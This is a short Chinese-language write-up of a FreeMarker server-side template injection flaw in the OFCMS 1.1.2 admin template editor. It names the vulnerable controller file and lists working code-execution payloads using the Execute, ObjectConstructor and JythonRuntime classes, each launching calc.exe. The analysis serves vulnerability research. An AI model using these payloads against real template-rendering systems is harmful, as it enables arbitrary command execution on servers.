原理
OFCMS1.1.2版本的注入漏洞是基于Java中使用Freemarker作为引擎模板然后未对管理员后台“模板文件”存储数据进行过滤所引起的
漏洞定位文件路径是oufu-ofcms-V1.1.2\ofcms\ofcms-admin\src\main\Java\com\ofsoft\cms\admin\controller\cms\TemplateController.Java
分析
直接在后台的模板文件写入Payload
Payload:<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
new函数创建一个继承自freemarker.template.TemplateModel类的实例,并执行exec方法弹出计算器
pom.xml文件中可以找到引用有freemarker模板
扩展
freemarker.template.utility常见所示类执行恶意代码
类 | payload |
---|---|
Execute | <#assign value=“freemarker.template.utility.Execute”?new()>${value(“calc.exe”)} |
ObjectConstructor | <#assign value=“freemarker.template.utility.ObjectConstructor”?new()>${value(“Java.lang.ProcessBuilder”,“calc.exe”).start()} |
JythonRuntime | <#assign value=“freemarker.template.utility.JythonRuntime”?new()><@value>import os;os.system(“calc.exe”)</@value> |